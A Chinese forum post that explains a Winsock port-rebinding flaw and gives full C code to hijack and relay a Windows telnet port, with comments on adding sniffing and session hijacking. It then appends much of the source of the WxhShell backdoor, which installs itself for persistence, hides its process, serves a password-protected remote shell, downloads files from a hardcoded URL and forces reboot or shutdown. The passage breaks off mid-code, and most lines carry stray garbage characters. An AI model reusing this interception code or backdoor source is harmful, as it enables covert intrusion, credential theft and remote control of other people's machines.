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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BXa.XZ<n(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M~P h/  
6L,"gF<n  
  saddr.sin_family = AF_INET; s7"5NU-  
s}g3*_"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tf4clzSTa  
o[B"J96b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O~4Q:#^c  
*yqke<o9)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wo7`gf_(  
5 Mz6/&`  
  这意味着什么?意味着可以进行如下的攻击: vE C#W43l  
<8YIQA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *^i"q\n5(  
u]MQ(@HHF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fir#5,*q|  
W-<`Vo'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8 Az|SJ<  
{Y1&GO;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I]6,hygs  
$ 9 k5a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3"LT''  
"w{$d&+?ag  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _WN\9<  
6wH:jd9,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U$ Od)  
o(eh.  
  #include _|wnmeL*  
  #include Eu2(#z 6eW  
  #include GxS!Lk  
  #include    Tl L\&n.$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j|%>NB ):  
  int main() 3,)[Q?nKD  
  { *QA{xvT  
  WORD wVersionRequested; ~ugH2jiB  
  DWORD ret; bA\(oD+:  
  WSADATA wsaData; xwa@h}\#  
  BOOL val; W<T Ui51Y  
  SOCKADDR_IN saddr; (kL(:P/  
  SOCKADDR_IN scaddr; rAh|r}R  
  int err; ,*Wp$  
  SOCKET s; %hi]oz  
  SOCKET sc; tu6<>  
  int caddsize; <6.?:Jj  
  HANDLE mt; 4P}d/w?'KL  
  DWORD tid;   y/;DA=  
  wVersionRequested = MAKEWORD( 2, 2 ); dZuPR  
  err = WSAStartup( wVersionRequested, &wsaData ); ~WKWx.ul  
  if ( err != 0 ) { hp$1c  
  printf("error!WSAStartup failed!\n"); p Cgm!t?/  
  return -1; 0y3C />a  
  } DqA$%b yyE  
  saddr.sin_family = AF_INET; 2)9XTY 6$  
   GC7W7B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yi*EE%  
hCob^o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g"v6UZ\  
  saddr.sin_port = htons(23); fU|4^p)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9e;8"rJ?C  
  { fE1VTGfd:  
  printf("error!socket failed!\n"); (o4':/es  
  return -1; wQ?Z y;/S  
  } 2Ws'3Jz  
  val = TRUE; IAMtMO^L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H $mZ?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~toR)=Yv  
  { : `,#z?Rk  
  printf("error!setsockopt failed!\n");  GjyTM  
  return -1; z[l_<`J$9  
  } ^f9>tI{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `$XgfMBf |  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #6mr'e1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xtK}XEhG!  
6\USeZh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @?5pY^>DK  
  { 11RqP:zg  
  ret=GetLastError(); L'O=;C"f  
  printf("error!bind failed!\n"); eN0lJ~  
  return -1; ?;GXFKy  
  } oF_ '<\ly=  
  listen(s,2); ;i!$rL  
  while(1) Z_s]2y1  
  { F%$l cQ04%  
  caddsize = sizeof(scaddr); lcXo>  
  //接受连接请求  `l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dQ Lo,S8(  
  if(sc!=INVALID_SOCKET) Kl]l[!c7$  
  { `2`h4[^ [X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); # blh9.V&F  
  if(mt==NULL) pV*d"~T  
  { @ 1FWBH~  
  printf("Thread Creat Failed!\n"); .F3~eas  
  break; VVqpzDoXG  
  } oxLO[js  
  } x LGMN)@r  
  CloseHandle(mt); wlpcuz@  
  } 0s6eF+bs  
  closesocket(s); /4$ c-k  
  WSACleanup(); 1w#vy1m J  
  return 0; ^ # 3,*(S  
  }   M$e$%kPShE  
  DWORD WINAPI ClientThread(LPVOID lpParam) #M<u^$Jz  
  { !}q@O-}j  
  SOCKET ss = (SOCKET)lpParam; ge#P(Itz  
  SOCKET sc; 7-mo\jw<  
  unsigned char buf[4096]; {BZ0x2  
  SOCKADDR_IN saddr; rBZ00}  
  long num; |WSm puf  
  DWORD val; ~*L@|?  
  DWORD ret; l"%WXi"X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 99~ZZG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B-V   
  saddr.sin_family = AF_INET; 4KY@y?H g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e?WI=Og  
  saddr.sin_port = htons(23); P_(< ?0l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {6iHUK   
  { TIxlLOs  
  printf("error!socket failed!\n"); |;R-q8  
  return -1; lHO.pN`2  
  } m Gx{Vpt  
  val = 100; 4MRN{W6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0OBwe6*  
  { RQ,X0 pS  
  ret = GetLastError(); qWJa p-hb  
  return -1; {'cdi`  
  } %:y"o_X_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BJjxy0+  
  { |sBL(9  
  ret = GetLastError(); -v=tM6  
  return -1; |T{ZDJ+  
  } 5#::42oE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iOiXo6YE  
  { X [;n149o  
  printf("error!socket connect failed!\n"); Tvw(S q};  
  closesocket(sc); y2Vc[o(NP  
  closesocket(ss); (qDJgf4fgn  
  return -1; >Sm#-4B-  
  } *2Q x69`  
  while(1) *-gmWATC6  
  { $}P>_bq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x5,|kJ9S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cBU@853  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d4o_/[  
  num = recv(ss,buf,4096,0); fa,;Sw  
  if(num>0) 1wW4bg 5  
  send(sc,buf,num,0); c}w[ T  
  else if(num==0) [yVcH3GcjI  
  break; 'h 7n}  
  num = recv(sc,buf,4096,0); cyWDtq  
  if(num>0) 4}Hf"L[ l  
  send(ss,buf,num,0); Co`:D  
  else if(num==0) X iM{YZ`B  
  break; ar@ysBy  
  } M+lI,j+  
  closesocket(ss); #J%Fi).^)  
  closesocket(sc); to)Pl}9QkK  
  return 0 ; &sGLm~m#  
  } Zk0?=f?j  
?{>5IjL)en  
\?AA:U*  
========================================================== EiWd =jDm  
v[>8<z8  
下边附上一个代码,,WXhSHELL %Z(lTvqG  
B9oB5E  
========================================================== >Yfo $S_  
YrTjHIn~w  
#include "stdafx.h" 2hT H  
I# |ib  
#include <stdio.h> Og kb N`  
#include <string.h> (Jk:Qz5  
#include <windows.h> 1 w9Aoc  
#include <winsock2.h> i(kr#XsU  
#include <winsvc.h> 42 Sk`  
#include <urlmon.h> 4'XCO+i#  
&XSe&1  
#pragma comment (lib, "Ws2_32.lib") c1StA  
#pragma comment (lib, "urlmon.lib") G[!<mh4h|  
T4}q%%7l  
#define MAX_USER   100 // 最大客户端连接数 %`:+A?zL  
#define BUF_SOCK   200 // sock buffer KQ.cd]6  
#define KEY_BUFF   255 // 输入 buffer IFWP&20  
~<[]l~`  
#define REBOOT     0   // 重启 iPrAB*  
#define SHUTDOWN   1   // 关机 Y+"Gx;F>  
JDBNi+t  
#define DEF_PORT   5000 // 监听端口 "`5BAv;u  
]j< & :_  
#define REG_LEN     16   // 注册表键长度 m ,TYF  
#define SVC_LEN     80   // NT服务名长度 ooT~R2u  
BO;LK-V  
// 从dll定义API I^S{V^Ty  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <nn!9V\C   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RQ[6svfP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e6^iakSd.L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uB 35CRd  
i%9xt1c_  
// wxhshell配置信息 /f -\ 3  
struct WSCFG { JC4Z^/\.  
  int ws_port;         // 监听端口 ) 2Hl\"F  
  char ws_passstr[REG_LEN]; // 口令 +K[H! fD  
  int ws_autoins;       // 安装标记, 1=yes 0=no j(\jYH>   
  char ws_regname[REG_LEN]; // 注册表键名 SL>0_  
  char ws_svcname[REG_LEN]; // 服务名 O)G^VD s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zh.[f+l]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vjD||!g'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 on0>_-n)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y ptP_R:2p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sTO9>~sj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (1Ii86EP  
!6d`e"\K  
}; z@J;sz  
lF!Iu.MM 9  
// default Wxhshell configuration WhR'MkfL  
struct WSCFG wscfg={DEF_PORT, !u|s| 6{\  
    "xuhuanlingzhe", Sc&p*G  
    1, `<d{(9:+  
    "Wxhshell", 6w^Fee`>]  
    "Wxhshell", u\|Ys  
            "WxhShell Service", >zB0+l  
    "Wrsky Windows CmdShell Service", I?i,21:5  
    "Please Input Your Password: ", KR/SMwy  
  1, d<4q%y'X{  
  "http://www.wrsky.com/wxhshell.exe", nD;8)VI'I  
  "Wxhshell.exe" fHwr6"DJ  
    }; \}mn"y  
\~'+TW  
// 消息定义模块 P[C03a!lXg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a]_eSU@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5*7 \Yjk?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .=4k'99,  
char *msg_ws_ext="\n\rExit."; a,*~wmg  
char *msg_ws_end="\n\rQuit."; 1]Gp \P}  
char *msg_ws_boot="\n\rReboot..."; UI.>BZ6}  
char *msg_ws_poff="\n\rShutdown..."; uSK<{UT~3  
char *msg_ws_down="\n\rSave to "; $WK~|+"{>  
~gvw6e*[  
char *msg_ws_err="\n\rErr!"; {F+iL&e)  
char *msg_ws_ok="\n\rOK!"; n:[GK_  
rui]_Fn]I  
char ExeFile[MAX_PATH]; -dsE9)&8DX  
int nUser = 0; ]AzDkKj  
HANDLE handles[MAX_USER]; uPtS.j=  
int OsIsNt; "+:IA|1wD  
Se-n#  
SERVICE_STATUS       serviceStatus; "#a,R ^J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DnW*q/=w  
iu 6NIy7D  
// 函数声明 $N)b6(}F10  
int Install(void); O* 7` Waag  
int Uninstall(void); Vy[ m%sEP  
int DownloadFile(char *sURL, SOCKET wsh); |#=4]]>m  
int Boot(int flag); knJoVo]  
void HideProc(void); 9N]V F'  
int GetOsVer(void); 2DTBL:?`  
int Wxhshell(SOCKET wsl); ,,[pc  
void TalkWithClient(void *cs); :IlJQ{=W  
int CmdShell(SOCKET sock); )S6"I  
int StartFromService(void); ^J Y]w^u  
int StartWxhshell(LPSTR lpCmdLine); 73OYHp_j  
(Cjw^P|Y@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uKocEWB=/F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H '(Ky  
Bys_8x}  
// 数据结构和表定义 @fxDe[J:  
SERVICE_TABLE_ENTRY DispatchTable[] =  @Iy&Qo  
{ )~l`%+  
{wscfg.ws_svcname, NTServiceMain}, J  4OgV?  
{NULL, NULL} ,a /<t"  
}; Cn>RUGoUsI  
D#G(&<Q  
// 自我安装 Lcpz(W ^  
int Install(void) Y^@Nvt$<K  
{ 1WW`%  
  char svExeFile[MAX_PATH]; R s)Nz< d  
  HKEY key; dLn Md0  
  strcpy(svExeFile,ExeFile); 9!sR}  
Ki:.^  
// 如果是win9x系统,修改注册表设为自启动 V,CVMbn/%N  
if(!OsIsNt) { IDpW5Dc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Q1[t9P"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MKN],l N  
  RegCloseKey(key); 9xm'0 '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d2e4=/ A%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zr.6J*&!  
  RegCloseKey(key); `upxM0gc  
  return 0; <..|:0Q&~  
    } vCh/%7+  
  } lP:ll])p2  
} Mli`[8@(  
else { Iq[Z5k(K  
1]<w ZV}.  
// 如果是NT以上系统,安装为系统服务 `vFYe N;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gP?uLnzvi  
if (schSCManager!=0) )W& $FU4JK  
{ z3:tSjF  
  SC_HANDLE schService = CreateService  e ):rr*  
  ( B:Xmc,|,  
  schSCManager, 7#BU d/  
  wscfg.ws_svcname, ()>,L? y  
  wscfg.ws_svcdisp, %!i|"FNc  
  SERVICE_ALL_ACCESS, EecV%E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C{8d^SCA"  
  SERVICE_AUTO_START, 1k8zAtuj  
  SERVICE_ERROR_NORMAL, 6X@$xe847[  
  svExeFile, h#>%\Pvt;  
  NULL, <) ` ?s  
  NULL, Y([YDn  
  NULL, h^}r$k_n  
  NULL, c$>$2[*=  
  NULL pjP R3 r  
  ); XeT{y]lkd  
  if (schService!=0) &m>sGCZ  
  { ?$#,h30  
  CloseServiceHandle(schService); FX#fh 2  
  CloseServiceHandle(schSCManager); -}Iw!p#O3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uxyj\p  
  strcat(svExeFile,wscfg.ws_svcname); *=X$j~#X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i;XkH4E:)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yfd$T}WW6  
  RegCloseKey(key); QIMoe'p  
  return 0; &~xzp^&  
    } NdW2OUxw"  
  } D^5bzZk N  
  CloseServiceHandle(schSCManager); 6HW8mXQh<h  
} 4/Yk;X[jk  
} 5fdB<& 9  
XOe8(cXa9  
return 1; C;6Nu W  
} yLI)bn!"  
I,@f*o  
// 自我卸载 :6*FnKD  
int Uninstall(void) *)jhhw=34  
{ /b)V=mcR  
  HKEY key; n^Uu6  
kq SpZoV0'  
if(!OsIsNt) { Nn_n@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4{s3S2f =  
  RegDeleteValue(key,wscfg.ws_regname); D# "ppa}  
  RegCloseKey(key); Z7X_U` Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }? W[D  
  RegDeleteValue(key,wscfg.ws_regname); 8a^E{x@HT  
  RegCloseKey(key); ,/=Fm  
  return 0; n8.W$&-ia  
  } H.HXwN/x  
} QD}'2{M!  
} \NEXtr`Th  
else { SeC[,  
1$*ZN4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "0(H! }D  
if (schSCManager!=0) V u/{Hr  
{ C#r1zr6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8~=<!(M)m/  
  if (schService!=0) oA ;sP'  
  { O{^ET:K@  
  if(DeleteService(schService)!=0) { k-$5H~(PZ  
  CloseServiceHandle(schService); LtxeT .  
  CloseServiceHandle(schSCManager); vt`V<3  
  return 0; cF[L6{Oe  
  } FC:+[.fi  
  CloseServiceHandle(schService); R*l#[D5A  
  } 3:XF7T  
  CloseServiceHandle(schSCManager); 3Vu_-.ID  
} $fhb-c3  
} r{V=)h  
%V+hm5Q  
return 1; <Oi65O_X  
} %q~YJ*\  
e-Xr^@M*Q  
// 从指定url下载文件 nNCG*Vu  
int DownloadFile(char *sURL, SOCKET wsh) o~vUqj?BA  
{ ID-Y*  
  HRESULT hr; g/o@,_  
char seps[]= "/"; `FjU2 O  
char *token; J 8z|ua  
char *file; L*Gk1'  
char myURL[MAX_PATH]; wN|;_~h2  
char myFILE[MAX_PATH]; T=EHue$  
`Dck$  
strcpy(myURL,sURL); fL #e4  
  token=strtok(myURL,seps); R|jt mI?  
  while(token!=NULL) s+@+<QE  
  { m0I)_R#X[  
    file=token; |L@&plyB-  
  token=strtok(NULL,seps); aDV~T24  
  } i;u#<y{E  
ig Q,ZY1  
GetCurrentDirectory(MAX_PATH,myFILE); $Z{ap  
strcat(myFILE, "\\"); ^dR="N  
strcat(myFILE, file); AG3iKk??T  
  send(wsh,myFILE,strlen(myFILE),0); r9nyEzk  
send(wsh,"...",3,0); $ ]ew<j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Iql%~_x  
  if(hr==S_OK) gQ < >S  
return 0; B_gzpS]  
else EO&PabZWR  
return 1; 3Kx&+  
<}\!FuC  
} qhdY<[6  
K1th>!JW'  
// 系统电源模块 ?06+"Z  
int Boot(int flag) HX;JO[0  
{ b"DV8fdX  
  HANDLE hToken; 6T?$m7c  
  TOKEN_PRIVILEGES tkp; X j>?P/=Z  
! sN~w  
  if(OsIsNt) { yDuMn<=3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XF6ed  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'n>v}__&|  
    tkp.PrivilegeCount = 1; vKcZgIR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IL]Js W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #j+0jFu  
if(flag==REBOOT) { qZV.~F+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0^0Q0A  
  return 0; U#qs^f7R  
} TrYt(F{t  
else { 0r=KY@D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ajy +%sXf=  
  return 0; T3_3k. ,|  
} sp-){k  
  } lpy( un  
  else { > [%ITqA$  
if(flag==REBOOT) { T{USzMj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R_vF$X'Ow  
  return 0; \y7kb  
} ;kX:k~,]}>  
else { %Kk MWl&:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LX!MDZz  
  return 0; QY^v*+lr\  
} >" &&,~  
} mRECd Gst  
6EX_IDb  
return 1; ;8~tt I  
} < Z>p1S  
nNEIwlj;  
// win9x进程隐藏模块 J7RO*.O&Iq  
void HideProc(void) ![ce=9@t<  
{ [X\<C '<  
~+~^c|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )B!64'|M  
  if ( hKernel != NULL ) F?!X<N{  
  { 1MPn{#Ff  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J"$Y`;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x1O]@Z{d\  
    FreeLibrary(hKernel); M[= #%U3*N  
  } !eC]=PoY  
+kj d;u#  
return; ]\.3<^  
} 3G.-JLhs  
s|O4 >LsG  
// 获取操作系统版本 <5xlP:Cx  
int GetOsVer(void) O-N@HZC  
{ tLD(%s_  
  OSVERSIONINFO winfo; J;|i6q q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 67{3/(`x  
  GetVersionEx(&winfo); -s!cZ3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ng-rvr  
  return 1; uto E}U7]  
  else FQgc\-8tm  
  return 0; sT<XZLu  
} }vXf}2C  
R#\o*Ta  
// 客户端句柄模块 k ^:+Pp  
int Wxhshell(SOCKET wsl) &~ .n}h&  
{  &$ x1^  
  SOCKET wsh; !D!1%@ e  
  struct sockaddr_in client; ,WKWin  
  DWORD myID;  9EU0R H  
s6YnNJ,SK  
  while(nUser<MAX_USER) {Rv0@)P$  
{ XZew$Om[  
  int nSize=sizeof(client); *;0Ods+IcY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,QZNH?Cp/  
  if(wsh==INVALID_SOCKET) return 1; xV+cX*4h  
q Q/<\6Sl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'k1vV  
if(handles[nUser]==0) )bkJ[ '9  
  closesocket(wsh); DQ{"6-  
else @krh<T6|  
  nUser++; U'Mxf'q  
  } nu<kx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H2iC? cSR  
6$ \69   
  return 0; ^*@D%U  
} 4*Y`Pn@  
Dx*tolF  
// 关闭 socket S4!}7NOh  
void CloseIt(SOCKET wsh) }[O/u <Z  
{ c) q'" r  
closesocket(wsh); '#ow 9w+^  
nUser--; ?Dn 6  
ExitThread(0); k "Qr  
} v*3tqT(%  
`}o{o  
// 客户端请求句柄 8n~ o="  
void TalkWithClient(void *cs) G{!adBna  
{ |3K]>Lio  
.{t]Mc  
  SOCKET wsh=(SOCKET)cs; '1NZSiv+C?  
  char pwd[SVC_LEN]; ~]S%b3>  
  char cmd[KEY_BUFF]; rIRkXO)  
char chr[1]; '6zk> rN  
int i,j; 9'I$8Su  
RkTO5XO  
  while (nUser < MAX_USER) { M WHzrqCA  
7c>{og6  
if(wscfg.ws_passstr) { Cz)/Bq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SYaL@54  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h#?)H7ft  
  //ZeroMemory(pwd,KEY_BUFF); G$7!/O%#_  
      i=0; hG!|ts  
  while(i<SVC_LEN) { dxk~  
1_MaaA;ow"  
  // 设置超时 ps&p|  
  fd_set FdRead; zLS=>iLD{  
  struct timeval TimeOut; rpn&.#KS  
  FD_ZERO(&FdRead); -D^.I  
  FD_SET(wsh,&FdRead); +|c1G[Jh  
  TimeOut.tv_sec=8; eGE[4Z  
  TimeOut.tv_usec=0; b 8~7C4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ x>#bql+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 227 Z6#CF!  
3Jj 3!aDB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^oH!FN`;{  
  pwd=chr[0]; Fb^f`UI  
  if(chr[0]==0xd || chr[0]==0xa) { k.K;7GZC  
  pwd=0; m14OPZ<3?-  
  break; %5-   
  } A"pV 7 y  
  i++; LPK[^  
    } T.B} k`$  
?<h|Q~JH  
  // 如果是非法用户,关闭 socket whb,2=gIE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ks FkC=  
} o)SA^5  
S<=|i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rG"QK!R5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -h1FrDBt  
~9h/{$  
while(1) { ZB5u\NpcW  
v3Xt<I=4y  
  ZeroMemory(cmd,KEY_BUFF); C#@>osC  
P%_PG%O2p  
      // 自动支持客户端 telnet标准   yaWHGre  
  j=0; YM4njkI7  
  while(j<KEY_BUFF) { S/H!a:_5r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3lo.YLP^  
  cmd[j]=chr[0]; .p?kAf`  
  if(chr[0]==0xa || chr[0]==0xd) { \L4+Dv<z  
  cmd[j]=0; /aX#j`PrH  
  break; |\] _u 3  
  } vm4q1!!(  
  j++; /Z m5fw9  
    } ; w+<yW}EL  
^eHf'^Cvvu  
  // 下载文件 <F#/wU^9  
  if(strstr(cmd,"http://")) { f3M~2jbv'p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kf>L  
  if(DownloadFile(cmd,wsh)) 6S6E 1~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\a;} S'g#  
  else =[x @BzH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y jQpdO  
  } <lFQ4<"m  
  else { s\dhQZw3  
$bo 5:c  
    switch(cmd[0]) { mvrg!/0w  
  Yh 9fIRR  
  // 帮助 D`fi\A  
  case '?': { WlfS|/\%V^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~G#^kNme  
    break; 8j%hxAV$  
  } "F8A:tR  
  // 安装 8"2X 8C8  
  case 'i': { .p d_SQ~  
    if(Install()) L7 f'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `z]MQdE_w  
    else 50J"cGs~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q?"-[6[v  
    break; XF=GmkO  
    } F G5e{  
  // 卸载 WeqQw?-  
  case 'r': { :.%Hu9=GL  
    if(Uninstall()) &f$[>yg1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kk t9M\  
    else -f!oq7U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W$_@9W(Bl  
    break; Tx!c }  
    } i[x;k;m2q  
  // 显示 wxhshell 所在路径 i~04P  
  case 'p': { ~e@pL*s  
    char svExeFile[MAX_PATH]; +w'{I`QIL0  
    strcpy(svExeFile,"\n\r"); jhmWwT/O8^  
      strcat(svExeFile,ExeFile); i][af  
        send(wsh,svExeFile,strlen(svExeFile),0); q9`!T4,  
    break; q,H 0=\  
    } h=Xr J  
  // 重启 7<?~A6  
  case 'b': { tzFgPeo$;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B\z4o\am%  
    if(Boot(REBOOT)) SOPQg?'n=V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,seqh%  
    else { j)[ w X  
    closesocket(wsh); R9B!F{! 5  
    ExitThread(0); 3"OD"  
    } B U^3Ux$  
    break; bWAVBF  
    } u  teI[Q  
  // 关机 (&x#VmDL  
  case 'd': { K[( h2&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &v#*  
